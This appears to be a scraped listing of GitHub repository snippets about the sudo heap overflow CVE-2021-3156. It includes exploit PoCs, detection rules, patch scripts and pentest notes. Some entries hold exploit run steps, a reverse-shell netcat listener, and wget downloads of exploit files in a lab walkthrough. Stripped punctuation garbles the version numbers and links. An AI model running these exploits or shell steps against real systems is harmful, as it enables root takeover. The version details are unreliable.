CVE-2021-3156

Analysis of 0day and N-day security vulnerabilities, along with proof-of-concepts

Vuln-Analysis Here I post analysis of 0day and N-day security vulnerabilities I find interesting, along with proof-of-concepts Windows Windows Print Spooler (in progress) Microsoft Exchange SSRF (comming soon) Microsoft Teams vulnerability (comming soon) DirectX (Direct3D library ???) LPE (comming soon) TeamViewer vulnerability ??? Linux XZ Utils (comming soon) Linux Sudo CV

CVE-2021-3156 PoC Introduction This is an exploit for the CVE-2021-3156 sudo vulnerability (dubbed Baron Samedit by Qualys) Usage build: $ make list targets: $ /sudo-hax-me-a-sandwich run: $ /sudo-hax-me-a-sandwich <target_number> Contributing

goEnum is a modular and system-agnostic enumeration framework

Modular and System-Agnostic Enumeration Framework Usage goEnum is a standalone CLI tools which no dependancies, this means all you will ever need it the binary itself goEnum also has a robust help interface (thanks to Cobra!) for if you have any questions on what goEnum is doing Examples goEnum --help System-Agnostic and Modular Enumeration Framework by

StarlightCTF is a repository containing notes pointing to ideas and resources It's purpose is to help the user (usually me) to find solutions to security-related challenges and provide some tools to use when offline The resources that I use most often are marked with a heart ❤️ symbol This database was inspired by CTF Katana (unmaintained) and HackTricks (pentest-or

0x00 前言 收集了部分渗透测试、内网渗透、代码审计、面试经验，方便学习整理 同步到个人博客 0x01 信息收集工具 综合自动化收集 水泽-信息收集自动化工具 企业信息收集 ENScan 基于爱企查的一款企业信息查询工具 cDomain 利用天眼查查询企业备案 JWS-icpscan ICP备案脚本，用于快速定位资

Pentest Sheet Information Gathering 掃 port rustscan -a <ip> -r 1-65535 -t 1500 --tries 3 -- -A nmap 各指令 nmap -sV --script vuln <ip> -sV 各服務的版本 -sC 用 default script 掃 -A 偵測主機的作業系統與各種服務的版本 -p- 所有 port 都掃 sudo nmap -sUV -T4 -F --version-intensity 0 <IP> Fast UDP Scan

CVE exploit searcher from GitHub with some deploy options

GitHub_Search_CVE Features Search CVE exploits from github Download up to 10 CVE exploits at the same time automatically Send the exploits from SCP to a defined target Create HTTP server with the exploits to download it from another machine GitHub_Search_CVE ##Requirements Debian based operative system Tested on Kali 2022-01-31 and Ubuntu 2004 git: (Automatic installation

2023-02-demo Simple demo for Anchore Enterprise Includes workflow examples for Jenkins, CircleCI, Codefresh, Drone, and GitHub Partial list of conditions that can be tested with this image: xmrig cryptominer installed at /xmrig/xmrig simulated AWS access key in /aws_access simulated ssh private key in /ssh_key selection of commonly-blocked packages installed (sudo, curl,

CVE-2021-3156 exploit

CVE-2021-3156 CVE-2021-3156 exploit Introduction This is an exploit for the CVE-2021-3156 sudo vulnerability (dubbed Baron Samedit by Qualys) build: $ make list targets: $ /sudo-hax-me-a-sandwich run: $ /sudo-hax-me-a-sandwich <target_number>

内网渗透中的一些工具及项目资料

内网渗透中的一些工具及项目资料 入侵与渗透是两个不同的概念，很多人喜欢混为一谈，简单来说，入侵是从信息收集到打点，渗透是横向移动，获取目标，稳固权限。本页是针对内网渗透中整理的一些工具以及项目资料，方便安全从业人员查阅 此项目同步至：forumywhackcom/bount

CVE-2021-3156-Mitigation-ShellScript-Build Considering the Vulnerability focused in SUDO 2021 in CVE-2021-3156 this is an attempt to craete a script for process checker and if teh designated process exists then it invokes authenticationa and locks out system

TA-Samedit Simple Splunk UF detection for Baron Samedit sudo buffer overflow (CVE-2021-3156) Refer to blogqualyscom/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit 1-28-2021: V2: Re-did detection to not rely on sudoedit command V1 (found in bin directory) required UF to run as root! No bueno This scripted input ca

漏洞资产情报收集

漏洞情报收集 MySQL客户端jdbc反序列化漏洞 CVE-2021-22986 XStream多个高危漏洞 sudo本地权限提升漏洞（CVE-2021-3156） 深信服SSL-VPN代码注入 微软2021年3月补丁日漏洞通告 VMware多个高危漏洞通告 SAP Solution Manager EemAdmin 远程代码执行漏洞（CVE-2020-6207） JumpServer 远程命令执行漏洞 资产收集 资产收集-

A puppet module for provisioning my FreeBSD desktop workstation

Puppet FreeBSD Workstation Puppet script for provisioning my FreeBSD desktop workstation Table of Contents Setup Prerequisites System dependencies Puppet dependencies Usage Manifests Limitations Setup First, you need to get the latest source code by cloning the git repository with this command git clone githubcom/lognoz/puppet-freebsd-workstationgit

Writeup for the TryHackMe Cat Pictures 2 Room

Cat Pictures 2 Writeup This is a walkthrough of the Cat Pictures 2 CTF from TryHackMe The room can be accessed here Recon I started by running an Nmap scan to identify open ports on the target machine: nmap -sV -sC -p- <#TARGETIP> -o nmap The scan revealed the following open ports: 22 - OpenSSH 76p1 80 - Nginx 146 (Lych

PoC exploits for software vulnerabilities

CVE Exploit PoC's PoC exploits for multiple software vulnerabilities Current exploits CVE-2019-18634 (LPE): Stack-based buffer overflow in sudo tgetpassc when pwfeedback module is enabled CVE-2021-3156 (LPE): Heap-based buffer overflow in sudo sudoersc when an argv ends with backslash character CVE-2020-28018 (RCE): Exim Use-After-Free (UAF) in tls-opensslc leading t

CSCI620_FinalProject This is the final project of CSCI 620 Operating System Security in NYIT - Vancouver Campus from Newer Younger Imperial Team A PoC for educational purpose for CVE-2021-3156 You can also find the code: githubcom/kasperyhr/CSCI620_FinalProject Environment Setup This script only tested on Ubuntu 2004 against sudo 1831 You can check your version o

Kali_Setup_Script This script can be used to configure Kali Linux to be production ready for ITHC use On first launch, the script will update the system via apt, and therein on each use if the last update was over 7 days prior Next, you can use the menu system to install packages, clone git repositories, and configure useful services such an a Pure-FTPd server Packages The f

ansible生产环境使用场景(六)：sudo漏洞修复

一、sudo漏洞说明 监测到sudo堆溢出漏洞（CVE-2021-3156），成功利用此漏洞，任何没有特权的用户都可以在易受攻击的主机上获得root特权，需要将sudo版本更新至1823-10及以上版本。 二、环境说明 主机名 操作系统版本 ip gcc版本 sudo版本 备注 ansible-tower Centos 761810 172167100 / / ansible管�

Simple demo for Anchore Enterprise, including both Jenkins and GitHub workflow examples.

2022-08-enterprise-demo Simple demo for Anchore Enterprise, including Jenkins, CircleCI, Codefresh, and GitHub workflow examples Partial list of conditions that can be tested with this image: xmrig cryptominer installed at /xmrig/xmrig simulated AWS access key in /aws_access simulated ssh private key in /ssh_key selection of commonly-blocked packages installed (sudo, curl,

Sudo Baron Samedit Exploit

CVE-2021-3156 (Sudo Baron Samedit) This repository is CVE-2021-3156 exploit targeting Linux x64 For writeup, please visit datafarm-cybersecuritymediumcom/exploit-writeup-for-cve-2021-3156-sudo-baron-samedit-7a9a4282cb31 Credit to Braon Samedit of Qualys for the original advisory Files Exploit on glibc with tcache exploit_nsspy auto detect all requirements and num

cve-2021-3156;sudo堆溢出漏洞；漏洞检测

sudo堆溢出漏洞（CVE-2021-3156） 漏洞概述 国外研究团队发现sudo堆溢出漏洞（CVE-2021-3156），漏洞隐藏十年之久，普通用户可以通过利用此漏洞，在默认配置的 sudo 主机上获取root权限。漏洞细节已在互联网上公开。 漏洞编号 CVE-2021-3156 漏洞综合评级 高危 漏洞影响范围 从182到1831p2的所有�

CVE-2021-3156

CVE-2021-3156 Ansible role patches CVE-2021-3156 for CentOS Intro Sudo before 195p2 has a Heap-based Buffer Overflow, allowing privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character CVE-2021-3156 News (RU) RUN ansible-playbook update_sshyml --tags ssh-update

CVE-2021-3156

Exploit CVE-2021-3156 Executing: $ git clone githubcom/RodricBr/CVE-2021-3156 $ cd CVE-2021-3156/ $ chmod u+x programash $ /programash One-Liner: AA=$(sudo --version | tr '[:space:]' ','| tr -d '' | cut -d ',' -f3 | awk '{print $0}'); [[ "$AA" -lt 1828 ]] &

A curated list of my GitHub stars!

Awesome Stars A curated list of my GitHub stars! Generated by starred Contents Adblock Filter List Assembly Awk Batchfile Brainfuck C C# C++ CMake CSS Clojure Common Lisp Crystal Cython Dart Dhall Dockerfile Earthly Elixir Emacs Lisp Erlang Fennel GDScript Go HTML Handlebars Haskell Inno Setup Java JavaScript Jupyter Notebook Kotlin LLVM Lua M4 MDX Makefile NCL Nim Nix Nun

MP Директория с TTPIexe на машине ftp2 C:\inetpub\history\CFGHISTORY_0000000001 Просто запускаем двойным нажатием в самом начале Директория с ttpi2Banpy на fw root@a77-fw:/home# Запускаем командой python3 ttpi2banpy во время защиты и все Команда для расш�

CVE-2021-3156 (Sudo Baron Samedit) This repository is CVE-2021-3156 exploit targeting Linux x64 For writeup, please visit datafarm-cybersecuritymediumcom/exploit-writeup-for-cve-2021-3156-sudo-baron-samedit-7a9a4282cb31 Credit to Braon Samedit of Qualys for the original advisory Files Exploit on glibc with tcache exploit_nsspy auto detect all requirements and num

CVE-2021-3156非交互式执行命令

CVE-2021-3156 This is a warehouse modification based on @CptGibbon and supports arbitrary command execution 相关阅读：CVE-2021-3156 - Exploit修改 Root shell PoC for CVE-2021-3156 (no bruteforce) For educational purposes etc Tested on : @CptGibbon Ubuntu 2004 against sudo 1831 @Rvn0xsy Ubuntu 1710 All research credit: Qualys Research Team Check out the details

sudo-1.8.29

sudo-1829 学习笔记 Something I hope you know before go into the coding~ First, please watch or star this repo, I'll be more happy if you follow me Bug report, questions and discussion are welcome, you can post an issue or pull a request 软件包信息 [root@rocky-clion ~/rpmbuild]# yum info sudo Last metadata expiration chec

Western University, Introduction to Hacking, presentation 2, companion notes

Presentation 2: Notes Sudo Heap-based Buffer Overflow (CVE-2021-3156) [toc] Background Common Vulnerabilities & Exposures, so-called CVE, is a dictionary of system vulnerabilities that has been disclosed to the public Normally, it consists of CVE-ID, a description, and a list of references Specifically speaking, the CVE-ID specifies the identity of a particular CVE, t

Employee-Walkthrough Introduction This box was made to show the importance of enumeration, critical thinking and the usual mess and error while dealing with public exploit scripts in real life This is done via mimicking a company hiring for employees, and some manual site development that leads to code execution Exploits used are CVE-2017-7494 and a little command injection f

How to solve Sudo Heap-Based Buffer Overflow Vulnerability — CVE-2021-3156?

How to solve Sudo Heap-Based Buffer Overflow Vulnerability — CVE-2021-3156? sudo Heap-Based Buffer Overflow Vulnerability — CVE-2021-3156 Original release date: February 02, 2021 Sudo has released an advisory addressing a heap-based buffer overflow vulnerability—CVE-2021-3156—affecting sudo legacy versions 182 through 1831p2 and stable versions 190

Repository to hold various playbooks that I have written over the years, for various reasons

A simple repo to hold playbooks that I have written over the years for a variety of purposes License Allow Root SSH allowrootsshyml This playbook will: Operate on all hosts in the Ansible inventory The tasks this playbook will complete are: Update the /etc/ssh/sshd_config file to allow root logins ("PermitRootLogin yes") It will restart the SSH Daemon with a han

just some exploits coded in rust

Exploits CVE-2021-3156 Heap-Based Buffer Overflow in Sudo Ported from githubcom/CptGibbon/CVE-2021-3156 CVE-2021-3156 Developed by Sylvain Kerkour CVE-2021-4034 Polkit privilege escalation exploit Ported from githubcom/berdav/CVE-2021-4034 Original advisory: wwwqualyscom/2022/01/25/cve-2021-4034/pwnkittxt TODO test in Docker, use other method for

Patch Script for CVE-2021-3156 Heap Overflow

CVE-2021-3156-Patch Patch Script for CVE-2021-3156 Heap Overflow

ScannerCVE-2021-3156 Script para escanear una lista de host donde es posible saber si se es vulnerable al cve 2021-3156 En caso de no ser vulnerable la salida es la siguiente: sudoedit: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper sudoedit: se requiere una contraseña Puede ser configurado

This is a repo for the PoC's I found from diffrernt github repoisitory of the recent sudo CVE 2021-3156 (Baron Samedit)

Baron-Samedit This is a repo for the PoC's I found from diffrernt github repoisitory of the recent sudo CVE 2021-3156 (Baron Samedit) githubcom/blasty/CVE-2021-3156 githubcom/r4j0x00/exploits gistgithubcom/stong/2f144f94f6de9c39c516781b041d2b64 githubcom/lockedbyte/CVE-Exploits/tree/master/CVE-2021-3156

Root shell PoC for CVE-2021-3156

CVE-2021-3156 Root shell PoC for CVE-2021-3156 (no bruteforce) For educational purposes etc Tested on Ubuntu 2004 against sudo 1831 All research credit: Qualys Research Team Check out the details on their blog You can check your version of sudo is vulnerable with: $ sudoedit -s Y If it asks for your password it's most likely vulnerable, if it prints usage information

sudo heap overflow to LPE, in Go

CVE-2021-3156 sudo heap overflow to LPE, in Go based on blasty's exploit

Speech slides

Slides Speech slides Current slides Exploiting sudo CVE-2021-3156: From heap-based overflow to LPE/EoP (Feb 19, 2021) CVE-2020-28018: From Use-After-Free to Remote Code Execution (Jun 18, 2021) Confronting CFI: Control-flow Hijacking in the Intel CET era for memory corruption exploit development (May 12, 2022)

NixOS vulnerability testing Run all tests nix-build Run specific test nix-build -A cve-2021-3156

My sudo heap overflow exploitation (ASLR is off)

my sudo heap overflow exploit (CVE-2021-3156) All credit for Qualys baron samedit sudo heap overflow (wwwqualyscom/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudotxt) The exploit is only for test purpose Test environment sudo version: 1831 Glibc version: 223 ASLR is off Reference wwwqualyscom/2021/01/26/cve-2021-3156/baron-samedit-heap

存储各类渗透测试 工具/exp等

本项目为存储各类已披露利用脚本或工具 FoFa Search 基于Python3编写的具有图形化界面的FoFa搜索工具 UI设定尺寸符合MAC使用，可填写key后自行编译使用 CVE-2021-3156 Linux sudo 提权 CVE-2021-1732 Microsoft Windows本地提权漏洞 泛微 泛微e-cology V8 前台sql注入 泛微e-cology BeanShell组件命令执行 泛

CVE-2021-3156 Root shell PoC for CVE-2021-3156 (no bruteforce) For educational purposes etc Tested on Ubuntu 2004 against sudo 1831 All research credit: Qualys Research Team Check out the details on their blog You can check your version of sudo is vulnerable with: $ sudoedit -s Y If it asks for your password it's most likely vulnerable, if it prints usage information

收集一些易于复现，且使用价值（危害）较大的漏洞

##This is a collection of CVE ##Used for study only ###CVE-2021-3156 sudo提权漏洞 githubcom/blasty/CVE-2021-3156 ###CVE—2020-15778 openssh scp命令注入 ###CNVD-2021-30167 用友软件 beanshell开放

CVEs Exploits I'm adding exploits for some CVEs that I wrote 2023 CVE-2023-4911 Buffer Overflow in glibc's ldso CVE-2021-3156 Heap-Based Buffer Overflow in Sudo 2021 CVE-2015-6967 Nibbleblog 403 CVE-2020-28038 WordPress before 552

CVE-2021-3156 heap layout fuzzer(???) will generate a ton of tmp files under /var/tmp and also a bunch of vi processes so modify the script to clean them up or smth

Exploit and Demo system for CVE-2021-3156

Baron-Samedit Exploit and Demo system for CVE-2021-3156

CVE-2021-3156 deep dive.

SudoScience CVE-2021-3156 deep dive

利用sudo提权，只针对cnetos7

CVE-2021-3156-centos7 利用sudo提权，只针对cnetos7 受影响版本： sudo: 182 - 1831p2 sudo: 190 - 195p1 以非root用户登录系统，并运行如下命令： sudoedit -s / 回显是 not a regular file 多半是存在该漏洞 使用方法： 首先使用非root用户登录，然后将/etc/passwd里面所有的内容复制到CVE-2021-3156py的APPEND_CONTENT

Heap Based Buffer Overflow Attack To Gain Root Shell

CVE-2021-3156 Root shell PoC for CVE-2021-3156 (no bruteforce) For educational purposes etc Tested on Ubuntu 2004 against sudo 1831 All research credit: Qualys Research Team Check out the details on their blog You can check your version of sudo is vulnerable with: $ sudoedit -s Y If it asks for your password it's most likely vulnerable, if it prints usage information

复现别人家的CVEs系列

CVE-2021-3156 nss_load_library ver No LSB modules are available Distributor ID: Ubuntu Description: Ubuntu 2004 LTS Release: 2004 Codename: focal GNU C Library (Ubuntu GLIBC 231-0ubuntu9) stable release version 231 Sudo 版本 1831 Sudoers 策略插件版本 1831 Sudoers 文件语法版本 46 Sudoers I/O plugin version 1831

Exploit generator for sudo CVE-2021-3156

Título del Proyecto Generador de exploit para CVE-2021-3156 sudo Instalación Instala dependencias /installsh Ejecuta generador de exploit: /runsh Si la versión de sudo del sistema es vulnerable se genera un exploit para la versión instalada El exploit se genera en exploitc y el binario /exploit Requisitos gdb gcc make python3 python3-distro

Cat-picture---Tryhackme Cat Pictures 2 Writeup This is a walkthrough of the Cat Pictures 2 CTF from TryHackMe The room can be accessed here Recon I started by running an Nmap scan to identify open ports on the target machine: nmap -sV -sC -p- <#TARGETIP> -o nmap The scan revealed the following open ports: 22 - OpenSSH 76p1 80 - Nginx 146 (Lychee version 311

documentación de preparación para el examen de CEH

Tools revisadas miércoles, 07 de febrero de 2018 10:49 Preparación para examen cehcagyorg/ tryhackmecom/games/koth/join/d80d7c8fe47bd9d72eac99ef 7z2john Necesita compilar esta librería wwwcpanorg/modules/by-module/Compress/Compress-Raw-Lzma-2074targz AirNG ->Monitorea y sirve para capturar password de routers wifi

Personal "King of The Hill" toolkit.

KoTH-Tools Welcome to KoTH-Tools, a collection of custom tools used in TryHackMe's King of the Hill competition These tools are designed for use on Linux machines Table of Contents CVEs Directory Static Directory Monitor Directory Animations Directory Scripts Reverse Shells CVEs Directory This directory contains exploits for CVEs found in the machines CVE-2019-18634-

1day research effort

CVE-2021-3156-Baron-Samedit This repo contains my work on clumsily implementing a public 1day exploit for the sudo bug Wish me luck If you would like to help please feel free Compile the provided src/sudo sudoedit has been modified to use AFL harness to get input from STDIN AFL Fuzzy loop crash test cases discovered so far, check these out: -rw------- 1 root root 309 Jan 2

PoC Eploit Sudo 195p1 (CVE-2021-3156) Heap-Based Buffer Overflow Privilege Escalation CVE-2021-3156 is a new severe vulnerability was found in Unix and Linux operating systems that allow an unprivileged user to exploit this vulnerability using Sudo, causing a heap overflow to elevate privileges to root without authentication, or even get listed in the sudoers file Credit

CVE-2021-3156 - Sudo Baron Samedit

pwnedit CVE-2021-3156 - Sudo Baron Samedit Before heading into the technical details, you can watch a brief summary here: wwwyoutubecom/watch?v=TLa2VqcGGEQ Episodes [ Files | Blog | Video ] Why Pick sudo as Research Target? [ Files | Blog | Video ] How Fuzzing with AFL works [ Files | Blog | Video ] Troubleshooting AFL Fuzzing Problems [ Files | Blog | Video ] Findin

Binary Exploitation of Figlet Unix Binary (TPAS @ MSI-FCUP (21/22))

Binary Exploitation of Figlet Unix Binary The present report, written in the context of TPAS (Teoria e Prática de Ataques de Segurança) curricular unit at FCUP (Faculdade de Ciências da Universidade do Porto), aims at describing the process of attempting to find bugs and crashes in a command-line binary for Unix-like systems It will start by describing the

2022-04-enterprise-demo Simple demo for Anchore Enterprise, including both Jenkins and GitHub workflow examples Partial list of conditions that can be tested with this image: xmrig cryptominer installed at /xmrig/xmrig simulated AWS access key in /aws_access simulated ssh private key in /ssh_key selection of commonly-blocked packages installed (sudo, curl, etc) /log4j-core

整理渗透测试、内网渗透、应急响应、密码字典、漏洞库、代码审计、渗透测试面试题相关项目

0x00 前言 收集了部分渗透测试、内网渗透、代码审计、面试经验，方便学习整理 同步到个人博客 0x01 信息收集工具 综合自动化收集 水泽-信息收集自动化工具 企业信息收集 ENScan 基于爱企查的一款企业信息查询工具 cDomain 利用天眼查查询企业备案 JWS-icpscan ICP备案脚本，用于快速定位资

goEnum is a modular and system-agnostic enumeration framework

Modular and System-Agnostic Enumeration Framework Usage goEnum is a standalone CLI tools which no dependancies, this means all you will ever need it the binary itself goEnum also has a robust help interface (thanks to Cobra!) for if you have any questions on what goEnum is doing Examples goEnum --help System-Agnostic and Modular Enumeration Framework by

CVE-2021-3156 Vagrant Lab

CVE 2021-3156 How to pwn (python2) $ python pwnpy POC: youtube/pJFaF7_y_x0 Reference: wwwkalmarunionendk/writeups/sudo/#exploitation

2023-01-enterprise-demo Simple demo for Anchore Enterprise Includes workflow examples for Jenkins, CircleCI, Codefresh, Drone, and GitHub Partial list of conditions that can be tested with this image: xmrig cryptominer installed at /xmrig/xmrig simulated AWS access key in /aws_access simulated ssh private key in /ssh_key selection of commonly-blocked packages installed (

Simple demo for Anchore Enterprise, including with multiple CICD workflow examples.

2022-09-enterprise-demo Simple demo for Anchore Enterprise Includes workflow examples for Jenkins, CircleCI, Codefresh, Drone, and GitHub Partial list of conditions that can be tested with this image: xmrig cryptominer installed at /xmrig/xmrig simulated AWS access key in /aws_access simulated ssh private key in /ssh_key selection of commonly-blocked packages installed (

Custom version of sudo 1.8.3p1 with CVE-2021-3156 patches applied

sudo-183p1-patched This is a custom version of sudo, based on the sudo 183p1 package as provided by Canonical for Ubuntu 1204 using the URLs below, with the CVE-2021-3156 patches applied usarchiveubuntucom/ubuntu/pool/main/s/sudo/sudo_183p1-1ubuntu37dsc usarchiveubuntucom/ubuntu/pool/main/s/sudo/sudo_183p1origtargz usarchiveubuntuco

Drop-in sudo and pkexec replacement doing ssh root@localhost passing parameters like empty strings properly

sshudo Synopsis PBUILDERROOTCMD=sshudo pbuilder --build --debbuildopts "" /somedebianpackage_123-4dsc alias sudo=sshudo alias pkexec=sshudo sshudo ln -vis sshudo /usr/bin/sudo sshudo ln -vis sshudo /usr/bin/pkexec Description sshudo is an SSH based minimal drop-in replacement for very basic sudo and pkexec usage with command

Notes regarding CVE-2021-3156: Heap-Based Buffer Overflow in Sudo

CVE-2021-3156 Note: These instructions are my own and notes from a stream that I did If anything is wrong, then let me know Trust official sources first! Hello everyone, A couple of days back, a serious heap-based buffer overflow has been discovered in sudo that is exploitable by any local user It has been given the name Baron Samedit by its discoverer The bug can be levera

CVE-2021-3156

CVE-2021-3156 wwwqualyscom/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudotxt blogqualyscom/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit accessredhatcom/security/vulnerabilities/RHSB-2021-002

CVE-2021-3156 PoC Introduction This is an exploit for the CVE-2021-3156 sudo vulnerability (dubbed Baron Samedit by Qualys) Usage build: $ make list targets: $ /sudo-hax-me-a-sandwich run: $ /sudo-hax-me-a-sandwich <target_number> manual mode:

ЛР Linux Для выполнения ЛР использовался следующий Dockerfile: FROM archlinux:base-20220424054084 RUN pacman -Sy --noconfirm \ sudo \ glibc \ tree # Создадим непривелигированного пользователя `nonroot`, # Это нужно, чтобы наглядно показать, как мы смож�

从攻防的核心理念出发，阐述了如何构建一个适应性强、与时共进的安全设计方案，并且如何建立一个全面的安全体系，包括资产收集、威胁分析、风险评估和信任边界的确立。 文章详细描述了网络战的军事化思维，对合格攻击队伍（红队）和防御队伍（蓝队）的特质进行了比较，强调了在攻防对抗中成本和信任行为的重要性

Red-blue-confrontation 从攻防的核心理念出发，阐述了如何构建一个适应性强、与时共进的安全设计方案，并且如何建立一个全面的安全体系，包括资产收集、威胁分析、风险评估和信任边界的确立。 文章详细描述了网络战的军事化思维，对合格攻击队伍（红队）和防御队伍（蓝队）的特质�

2022-04-suse-demo Simple demo for Anchore Enterprise, including both Jenkins and GitHub workflow examples Partial list of conditions that can be tested with this image: xmrig cryptominer installed at /xmrig/xmrig simulated AWS access key in /aws_access simulated ssh private key in /ssh_key selection of commonly-blocked packages installed (sudo, curl, etc) /log4j-core-2141

sudo提权漏洞CVE-2021-3156复现代码

CVE-2021-3156 Root shell PoC for CVE-2021-3156 (no bruteforce) For educational purposes etc Tested on Ubuntu 2004 against sudo 1831 All research credit: Qualys Research Team Check out the details on their blog You can check your version of sudo is vulnerable with: $ sudoedit -s Y If it asks for your password it's most likely vulnerable, if it prints usage information

HackTheBox Reference: githubcom/blasty/CVE-2021-3156

CVE-2021-3156 POC and Docker and Analysis write up

CVE-2021-3156 [toc] 漏洞简介 漏洞编号: CVE-2021-3156 漏洞评分: 漏洞产品: linux sudo 影响范围: 182-1831sp12; 190-195sp1 利用条件: linux 本地；sudo为suid且可运行 利用效果: 本地提权 源码获取: wwwsudows/getting/source/ 环境搭建 docker 环境: chenaotian/cve-2021-3156 我自己搭建的docker，提供了： 自己编

CVE-2021-3156 Root shell PoC for CVE-2021-3156 (no bruteforce) For educational purposes etc Tested on Ubuntu 2004 against sudo 1831 All research credit: Qualys Research Team Check out the details on their blog You can check your version of sudo is vulnerable with: $ sudoedit -s Y If it asks for your password it's most likely vulnerable, if it prints usage information

CVE-2021-3156 deep dive.

SudoScience CVE-2021-3156 deep dive

A Collection of Privilege Escalation Tools Windows GhostPack Compiled Binaries PowerUpps1 WinPEASanyexe/WinPEASbat Linux lsesh LinEnumsh lessh Polkit Exploit (CVE-2021-3560) Sudo Exploit (CVE-2021-3156) Docker deepcssh

CVE-2021-3156漏洞修复Shell

CVE-2021-3156

linux-cve-2021-3156 upgrade new version sudo on centos7 upgrade new version sudo on centos7 $ git clone githubcom/tainguyenbp/linux-cvegit $ bash -x linux-cve/cve-2021-3156/upgrade-new-version-sudo-centos7sh

This simple bash script will patch the recently discovered sudo heap overflow vulnerability.

This simple bash script will patch the recently discovered sudo heap overflow vulnerability Simply run git clone githubcom/elbee-cyber/CVE-2021-3156-PATCHER && cd CVE-2021-3156-PATCHER && sh CVE-2021-3156-patchersh This patch is significantly important for any *nix systems Neglecting this will allow any low-level user to privesc! Patc

CVE-2021-3156-Exp The exploit of CVE-2021-3156 After an overnight researching, finally, I got it! Thanks wwwqualyscom/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudotxt

CVE-2021-3156-SCRIPT git clone githubcom/binw2018/CVE-2021-3156-SCRIPTgit && cd CVE-2021-3156-SCRIPT && sh Scriptsh

CVE-2021-3156

exploits CVE-2021-22600: Linux kernel LPE exploit CVE-2021-3156: Linux local privilege escalation through heap overflow in sudo (Demo) CVE-2021-3156: One shot exploit for heap overflow vulnerability in sudo CVE-2020-6507: Out of bounds write in V8 Chrome versions <= 830410397 (RCE) CVE-2020-16040: Chrome exploit versions <= 870428088

a simple script to patch CVE-2021-3156 (heap based buffer overflow via sudo).

CVE-2021-3156 a simple script to patch CVE-2021-3156 (heap based buffer overflow via sudo)

OSCP Commands Cheat Sheet Passed the 2023 version of the OSCP, these commands were gathered throughout practicing for the exam OSCP Commands Cheat Sheet Nmap Scans and Inital Enumeration Regular scans to do on every system: Enum4linux LDAP Scanning through a Pivot Scanning for Vulnerabilities Windows Commands Reminders and Priv esc Usefull commands and Enumeration: I

This project describes my research on various techniques to bypass default falco ruleset (based on falco v0281) This is a research project that consists of documentation (all in READMEmd) and supporting artifacts placed in subdirectories The main directory contains the Dockerfile for sshayb/fuber:latest image used extensively in this project as well as the artifacts needed

exploits CVE-2021-3156: Linux local privilege escalation through heap overflow in sudo (Demo) CVE-2021-3156 One shot exploit CVE-2020-6507: Out of bounds write in V8 Chrome versions <= 830410397 (RCE) CVE-2020-16040: Chrome exploit versions <= 870428088

2022-02-enterprise-demo Simple demo for Anchore Enterprise, including both Jenkins and GitHub workflow examples Partial list of problems in this image: xmrig cryptominer installed at /xmrig/xmrig simulated AWS access key in /aws_access simulated ssh private key in /ssh_key selection of commonly-blocked packages installed (sudo, curl, etc) /log4j-core-2141jar (CVE-2021-4

Security hardening policies

Security Hardening Policies This repository hosts various security hardening policies Modules Provided compliance-report-imports (experimental) compliance-report-os-is-vendor-supported (experimental) cve-2021-3156-sudo cve-2021-44228-log4j default-encrypt-method-sha512 etc-issue ntp-maxpoll ssh-ciphers-strong ssh-max-auth-tries ssh-permit-empty-passwords-n

CVE-2021-3156

Team 3's code for the malware project 2023/2024

() = from demo, may not be neccessary for emulatiion with files on this repo ----------------START Bob: nc -lvnp 9001 Alice: python3 optimiserpy ----------------We have remote shell open on bob || DON'T TOUCH A'S SHELL (Bob NEW TERMINAL : python3 -m httpserver) (Bob RS: wget 10024:8000/CVE-2021-3156-main_origzip) (Bob RS: wget 10024:8000/hackboxpy) (Bob RS:

CVE-2021-3156 Root shell PoC for CVE-2021-3156 (no bruteforce) For educational purposes etc Tested on Ubuntu 2004 against sudo 1831 All research credit: Qualys Research Team Check out the details on their blog You can check your version of sudo is vulnerable with: $ sudoedit -s Y If it asks for your password it's most likely vulnerable, if it prints usage information

checking CVE-2021-3156 vulnerability & patch script

CVE-2021-3156 checking CVE-2021-3156 vulnerability & patching script CVE-2021-3156 description: Sudo before 195p2 has a Heap-based Buffer Overflow, allowing privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character To check for CVE-2021-3156 vulnerability: python3 CVE-2021-3156_checkerpy

xcoderootsploit X-code Root Sploit v01 Beta 1 Dibangun oleh Kurniawan - kurniawanajazenfone@gmailcom - xcodecoid - 20 Maret 2024 Aplikasi untuk membantu privilege escalation secara otomatis pada target linux Dengan exploit ini maka peretas cukup menjalankan program maka otomatis bisa mendapatkan akses root selama target mempunyai kerentanan untuk dilakukan privil

Research on various techniques to bypass default falco ruleset (based on falco v0.28.1).

This project describes my research on various techniques to bypass default falco ruleset (based on falco v0281) This is a research project that consists of documentation (all in READMEmd) and supporting artifacts placed in subdirectories The main directory contains the Dockerfile for sshayb/fuber:latest image used extensively in this project as well as the artifacts needed

IC1_projekt Requirments: Docker Docker-compose Install packages $ chmod +x installPackagessh # /installPackagessh The script contains the necessary packages for the functionality of the OS HTTP server configuration (html files) You have to chose which files to use before the server is ran (before you use docker-compose) Docker (HTT